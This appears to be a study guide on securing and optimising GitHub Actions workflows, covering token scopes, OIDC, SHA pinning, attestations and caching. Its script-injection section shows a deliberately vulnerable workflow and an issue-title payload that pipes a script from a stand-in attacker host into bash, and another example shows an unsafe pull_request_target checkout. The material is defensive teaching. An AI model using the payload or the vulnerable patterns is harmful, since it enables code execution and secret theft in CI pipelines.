Implement security best practices
Environment protections and approval gates
flowchart LR BUILD["build<br/>attest provenance"]:::success --> STG["deploy-staging<br/>environment: staging"]:::success STG --> PROD["deploy-production<br/>environment: production<br/>waiting for review"]:::pending
- Put production credentials in environment secrets, never repository secrets — a job only receives them after the environment's rules pass.
- Combine required reviewers (with prevent self-review), deployment branches and tags (only
mainorv*tags may deploy) and, where needed, a wait timer or a custom deployment protection rule app. - Turn off allow administrators to bypass for environments that must bind everyone.
- Scope the cloud trust to the environment (
sub: repo:org/repo:environment:production) so a workflow that skips the environment cannot get production access at all.
The rules themselves are listed in Skill 1.
Identify and use trustworthy actions
A third-party action runs with your job's token, secrets and network. Before you adopt one:
- Prefer GitHub-created actions (
actions/*,github/*) and Marketplace actions from verified creators (the blue badge) — exactly the two groups the allowed-actions policy can allow wholesale. - Read the source and the
action.yml: what does it run, what does it download, which inputs take tokens? A Docker action pulling:latestis as mutable as a branch. - Check maintenance — recent releases, a current
node24runtime, issues answered, a security policy — and the action's own OpenSSF Scorecard if it publishes one. - Give the job only the
permissionsthe action needs, and pass secrets only to the step that uses them. - Pin it to a full SHA, let Dependabot propose updates, and review the diff before merging them. For critical paths, fork it into your organisation.
- GitHub's Advisory Database covers actions: Dependabot alerts flag vulnerable action versions, and
actions/dependency-review-actionflags new risky ones in pull requests.
Mitigate script injection
A ${{ }} expression in run: is pasted into the script before the shell
sees it. If the value comes from someone outside your team — an issue title, a PR body, a branch name, a commit
message — they can write shell code.
on:
issues:
types: [opened]
permissions:
issues: write
jobs:
triage:
runs-on: ubuntu-latest
steps:
- name: Label bugs # VULNERABLE: the title is pasted into the script
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
run: |
title="${{ github.event.issue.title }}"
if [[ "$title" == *bug* ]]; then
gh issue edit ${{ github.event.issue.number }} --add-label bug
fi An issue titled x"; curl -sSf https://evil.example/p.sh | bash; echo " produces this script — visible in the log:
Run title="x"; curl -sSf https://evil.example/p.sh | bash; echo ""
The fix is to pass untrusted values through the environment, where the shell treats them as data:
- name: Label bugs # SAFE: untrusted text arrives as data
env:
TITLE: ${{ github.event.issue.title }}
NUMBER: ${{ github.event.issue.number }}
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
run: |
if [[ "$TITLE" == *bug* ]]; then
gh issue edit "$NUMBER" --add-label bug
fi | Untrusted input | Examples |
|---|---|
| Issue and PR text | github.event.issue.title, .body, github.event.pull_request.title, .body |
| Comments and reviews | github.event.comment.body, github.event.review.body |
| Git metadata | github.head_ref and pull_request.head.ref (branch names), head_commit.message, author names and emails |
| Others | github.event.pages.*.page_name, labels, wiki titles, discussion text, and any artifact or output produced by an untrusted run |
- Sanitise and validate: check inputs against an allow-list or a regular expression before use; reject rather than escape.
- Quote every variable in the shell (
"$TITLE"), even from the environment. - Least privilege: a read-only token turns a successful injection into a much smaller problem.
- Prefer a vetted action that takes the value as an input (passed as an argument, not interpolated into a script) over an inline script —
actions/github-scriptwith the value inenv, for example. - Linters (actionlint, CodeQL's Actions queries, zizmor) flag expressions of untrusted contexts inside
run:.
- name: Validate the version input before using it
env:
VERSION: ${{ inputs.version }}
run: |
if [[ ! "$VERSION" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "::error::version must look like v1.2.3"
exit 1
fi pull_request_target and "pwn requests"
pull_request_target runs the default branch's workflow with the base repository's
write token and secrets — safe only as long as it never executes code from the pull request.
on:
pull_request_target: # base-repository token and secrets…
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
ref: ${{ github.event.pull_request.head.sha }} # …running the fork's code
allow-unsafe-pr-checkout: true # checkout v7 refuses without this
- run: npm ci && npm test # the PR controls package.json and the tests actions/checkout@v7refuses to check out fork PR code underpull_request_targetorworkflow_rununless you setallow-unsafe-pr-checkout: true— treat that input as a red flag in review.- The safe pattern is two workflows: an unprivileged
pull_requestworkflow runs the untrusted code and uploads results; a privilegedworkflow_runworkflow reads them as data and comments or labels. - Treat artifacts and caches written by untrusted runs as untrusted too: a privileged job that restores them can be poisoned.
GITHUB_TOKEN, PATs and GitHub App tokens
GITHUB_TOKEN is an installation token of the GitHub Actions app, created when each job
starts, scoped to the repository that runs the workflow, and revoked when the job ends
(24 hours at most). Its scopes come from the permissions key, or from the repository's default when the
key is absent.
permissions: {} # workflow default: no scopes at all
jobs:
test:
runs-on: ubuntu-latest
permissions:
contents: read # just enough to check out
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false # don't leave the token in the workspace
- run: npm ci && npm test
comment:
needs: test
runs-on: ubuntu-latest
permissions:
pull-requests: write # only this job may comment
steps:
- env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PR: ${{ github.event.pull_request.number }}
run: gh pr comment "$PR" --body "Tests passed" - Scopes:
actions,artifact-metadata,attestations,checks,contents,deployments,discussions,id-token,issues,models,packages,pages,pull-requests,security-events,statuses— eachread,writeornone. - As soon as you list any scope, every unlisted one becomes
none(exceptmetadata, always read).permissions: {}removes them all;read-allandwrite-allexist but are rarely right. - Job-level
permissionsreplace — not merge with — the workflow-level ones. - Fork pull requests always get a read-only token, whatever the workflow asks for.
- The Set up job step logs the token's effective permissions.
GITHUB_TOKEN | GitHub App installation token | Fine-grained PAT | Classic PAT | |
|---|---|---|---|---|
| Lifetime | The job (≤ 24 h) | 1 hour (the action revokes it when the job ends) | Up to the expiry you set | Optional expiry |
| Scope | This repository, per-scope permissions | The installation's repositories and permissions, narrowable | Selected repositories and permissions | Every repository the user can reach |
| Acts as | github-actions[bot] | The app (name[bot]) | The user | The user |
| Triggers workflows? | No (except dispatch events) | Yes | Yes | Yes |
| Use for | Almost everything in the repository | Cross-repository work, triggering workflows, org automation | Personal automation when an app is not possible | Avoid |
jobs:
release:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- id: app
uses: actions/create-github-app-token@v3
with:
client-id: ${{ vars.RELEASE_APP_CLIENT_ID }} # app-id is deprecated
private-key: ${{ secrets.RELEASE_APP_KEY }}
repositories: web,docs # narrow the installation token
- env:
GH_TOKEN: ${{ steps.app.outputs.token }} # revoked when the job ends; its events DO trigger workflows
run: gh release create v2.4.0 --repo octo-org/web --generate-notes Restrict write scopes
Set the organisation and repository default to read, give write only to the job that
needs it, and leave Allow GitHub Actions to create and approve pull requests off unless a workflow
genuinely needs it — with it on, an injected workflow could approve its own pull request.
OIDC federation with cloud providers
Instead of storing a long-lived cloud key as a secret, a job asks GitHub's OIDC provider for a short-lived signed token and exchanges it with the cloud for a short-lived access token. Nothing long-lived is stored in GitHub, and the cloud decides — per repository, branch or environment — who may get in.
flowchart LR J["Job requests a token<br/>permissions: id-token: write"] --> G["GitHub OIDC provider<br/>signs a JWT: iss, aud, sub,<br/>repository, ref, environment"] G --> C["Cloud identity service<br/>checks issuer, audience<br/>and subject against its trust"] C --> T["Short-lived cloud token<br/>returned to the job"]
-
Create an identity in the cloud and grant it a role
A Microsoft Entra app registration or a user-assigned managed identity, with an RBAC role on just the resource group it deploys to.
-
Add a federated credential that trusts GitHub
Issuer
https://token.actions.githubusercontent.com, audienceapi://AzureADTokenExchange, and a subject that names exactly what may log in, such asrepo:octo-org/web:environment:production. -
Store the identifiers as variables
The client, tenant and subscription IDs are not secrets — keep them in
vars. There is no client secret to store at all. -
Grant id-token: write to the deploying job
Only that job: other jobs cannot request a token.
-
Log in with the cloud's action
.github/workflows/deploy-azure.ymlname: Deploy to Azure on: push: branches: [main] permissions: contents: read jobs: deploy: runs-on: ubuntu-latest environment: production # sub: repo:octo-org/web:environment:production permissions: contents: read id-token: write # allow this job to request an OIDC token steps: - uses: actions/checkout@v7 - uses: azure/login@a641126d1b8aa4d1fa005f4f92df94a3a4c4c906 # v3.1.0 with: client-id: ${{ vars.AZURE_CLIENT_ID }} # IDs, not secrets tenant-id: ${{ vars.AZURE_TENANT_ID }} subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }} - run: az webapp deploy --resource-group web-rg --name octo-web --src-path dist.zip -
Check the subject and tighten it
A failed login usually means the subject does not match. The new immutable subject format adds owner and repository IDs; repositories created, renamed or transferred after 15 July 2026 use it automatically, and the cloud's subject must match it.
| Job context | Subject (sub) claim |
|---|---|
| Job with an environment | repo:octo-org/web:environment:production — takes precedence over the ref |
| Push to a branch | repo:octo-org/web:ref:refs/heads/main |
| Tag | repo:octo-org/web:ref:refs/tags/v2.4.0 |
| Pull request | repo:octo-org/web:pull_request |
| Immutable format (new repositories) | repo:octo-org@123456/web@456789:environment:production |
The token also carries claims such as repository, repository_owner, ref,
environment, workflow_ref and job_workflow_ref; an organisation or repository
can customise the subject template through the API to include them. The same pattern works for AWS
and Google Cloud:
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write
steps:
- uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
with:
role-to-assume: arn:aws:iam::123456789012:role/octo-web-deploy
aws-region: eu-west-1
- run: aws s3 sync ./dist s3://octo-web-site {
"Effect": "Allow",
"Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" },
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:octo-org/web:ref:refs/heads/main"
}
}
} Pin actions to a full commit SHA
Tags and branches can be moved — by the maintainer, or by whoever compromises the maintainer. A full 40-character commit SHA cannot. Pin third-party actions to a SHA with the version in a trailing comment, so people and Dependabot can still read and update it:
steps:
- uses: actions/checkout@v7 # first-party: major tag
- uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1
- uses: docker/login-action@8aa5831fb8d48d8f76594c7ddde61ae58019f550 # v4.8.0
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
with:
push: true
tags: ghcr.io/octo-org/web:${{ github.sha }}
cache-from: type=gha
cache-to: type=gha,mode=max Why these notes use majors for actions/* and SHAs for everything else
Throughout these notes, first-party actions/* samples use major tags (@v7) so the
samples stay readable; every third-party action is pinned to a full SHA with its version in a comment. In your own
workflows, the safest choice is to pin all actions — the SHA pinning policy does not exempt
GitHub's own.
- Avoid
@mainand floating@v*for third-party actions unless you have a reason (and say so in a comment). - A SHA from a fork of the action's repository resolves too — check that the SHA belongs to the upstream repository.
- Enforce it with the allowed-actions Require actions to be pinned to a full-length commit SHA policy.
- Pinning the top level does not pin what an action itself pulls in. A workflow lockfile records transitive dependencies too:
gh extension install github/gh-actions-lock
gh actions-lock # pin every action (and its dependencies) into actions.lock
gh actions-lock --verify # in CI: fail if the lockfile is stale or incomplete
gh actions-lock --relock # move pins forward after reviewing upstream changes version: 2
updates:
- package-ecosystem: github-actions # keeps uses: references current — SHA pins included
directory: /
schedule:
interval: weekly
groups:
actions:
patterns: ['*'] The study guide's "immutable actions enforcement on hosted runners" refers to a rollout that GitHub withdrew in December 2025; Skill 3 explains what replaced it. Checked on 5 November 2026.
Enforce action usage policies
- Allow and deny lists: at enterprise, organisation or repository level, allow only your own actions plus GitHub-created, verified-creator and named patterns, and block specific ones with
!owner/repo@*. The details are in Skill 4. - SHA pinning and Require lockfile policies make unpinned references fail.
- Review before an unverified action is used: there is no single switch for this. The usual design is a policy that allows only verified creators and approved patterns — so a new action needs an admin to add it — plus CODEOWNERS on
/.github/workflows/and/.github/actions/with a ruleset requiring code-owner review, so a security team approves every workflow change that introduces one. - Fork PR approvals stop outside contributors' workflows running until a maintainer approves them.
Artifact attestations and provenance
An artifact attestation is a signed statement binding an artifact's digest to how it was built: the repository, workflow, commit, trigger and runner — SLSA build provenance. Signing uses a short-lived Sigstore certificate obtained with the job's OIDC token: the public-good Sigstore instance for public repositories, GitHub's private instance for private and internal ones (GitHub Enterprise Cloud).
flowchart LR SRC["Source commit"] --> BLD["Build job<br/>actions/attest"] BLD --> ATT["Attestation<br/>signed by Sigstore"] BLD --> ART["Artifact or image"] ART --> VER["Verify job<br/>gh attestation verify"] ATT --> VER VER --> DEP["Deploy"]
name: Release
on:
push:
tags: ['v*']
permissions:
contents: read
jobs:
binary:
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # mint the Sigstore signing certificate
attestations: write # store the attestation
steps:
- uses: actions/checkout@v7
- run: make dist # builds dist/web-linux-amd64
- uses: actions/attest@v4 # SLSA build provenance by default
with:
subject-path: dist/web-linux-amd64
- uses: actions/upload-artifact@v7
with:
name: web-linux-amd64
path: dist/web-linux-amd64
image:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write
id-token: write
attestations: write
artifact-metadata: write # storage record for the pushed image
steps:
- uses: actions/checkout@v7
- uses: docker/login-action@8aa5831fb8d48d8f76594c7ddde61ae58019f550 # v4.8.0
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- id: push
uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
with:
push: true
tags: ghcr.io/octo-org/web:${{ github.ref_name }}
- uses: actions/attest@v4
with:
subject-name: ghcr.io/octo-org/web
subject-digest: ${{ steps.push.outputs.digest }}
push-to-registry: true actions/attest@v4is the current action: build provenance by default, an SBOM attestation withsbom-path, or a custom predicate.actions/attest-build-provenancev4 is now a thin wrapper around it.- Permissions:
id-token: writeandattestations: write; addartifact-metadata: writewhen pushing an image's attestation to the registry. - Attestations appear in the repository's Attestations page and the run summary.
# Verify a file against the repository that should have built it
gh attestation verify dist/web-linux-amd64 --repo octo-org/web
# Verify an image, and require that a specific reusable workflow signed it
gh attestation verify oci://ghcr.io/octo-org/web:v2.4.0 \
--owner octo-org \
--signer-workflow octo-org/platform/.github/workflows/release.yml deploy:
needs: binary
runs-on: ubuntu-latest
environment: production
permissions:
contents: read
attestations: read
steps:
- uses: actions/download-artifact@v8
with:
name: web-linux-amd64
- name: Refuse anything we did not build
env:
GH_TOKEN: ${{ github.token }}
run: gh attestation verify web-linux-amd64 --repo "$GITHUB_REPOSITORY"
- run: ./deploy.sh web-linux-amd64 Reusable workflows raise the SLSA level
If every release is built by one reusable workflow owned by a platform team, verify with
--signer-workflow: an attacker who can edit a repository's own workflow still cannot produce an
attestation signed by the central one. For Kubernetes, an admission controller can run the same check before a pod
starts.
Optimize workflow performance and cost
Caching and artifact retention for efficiency
- Cache dependencies (
setup-*cache:oractions/cache), keyed on lockfiles, so installs are restores rather than downloads. - Cache container layers with
cache-from: type=ghaandcache-to: type=gha,mode=max. - Build once and pass the result as an artifact to test and deploy jobs instead of rebuilding in each.
- Keep artifacts only as long as they are useful: short
retention-daysfor PR builds, a lower repository or organisation default set through the retention API (Skill 1), and early deletion of what nobody needs. - Delete caches for merged pull requests, which nothing will restore again:
name: Clean PR caches
on:
pull_request:
types: [closed]
permissions:
actions: write
jobs:
cleanup:
runs-on: ubuntu-latest
steps:
- env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
REF: refs/pull/${{ github.event.pull_request.number }}/merge
run: |
gh cache list --ref "$REF" --limit 100 --json id --jq '.[].id' |
xargs -r -n1 gh cache delete Strategies for scaling and optimising
on:
pull_request:
paths: ['src/**', 'package*.json', '.github/workflows/ci.yml']
concurrency: # a new push cancels the run it replaces
group: ci-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 15
strategy:
matrix:
shard: [1, 2, 3, 4] # split one slow suite four ways
steps:
- uses: actions/checkout@v7 # fetch-depth: 1 by default
- uses: actions/setup-node@v7
with:
node-version: 24
cache: npm
- run: npm ci --prefer-offline
- run: npx vitest run --shard=${{ matrix.shard }}/4 | Lever | Saves |
|---|---|
paths / paths-ignore and job-level if: | Runs that would test nothing that changed |
concurrency with cancel-in-progress | Superseded PR runs; queue: max instead for deployments that must all happen in order |
timeout-minutes | Hung jobs burning up to six hours |
| Parallel jobs and test sharding | Wall-clock time (not minutes) |
Smaller matrices on PRs, full on main | Minutes on every push |
| Linux and Arm64 runners for portable work | Per-minute cost — Windows and macOS minutes cost more |
| Larger runners for heavy builds | Time; can cost less overall if the job finishes much sooner |
| Ephemeral, autoscaled self-hosted runners (ARC) | Idle machines; capacity beyond hosted concurrency limits |
Shallow checkout (the default fetch-depth: 1) | Clone time on big repositories |
Measure before tuning: Actions usage metrics show where the minutes go, Actions performance metrics show queue time and failure rates, and concurrency limits per plan (20 jobs on Free, 40 on Pro, 60 on Team, 500 on Enterprise for standard runners) explain jobs that queue.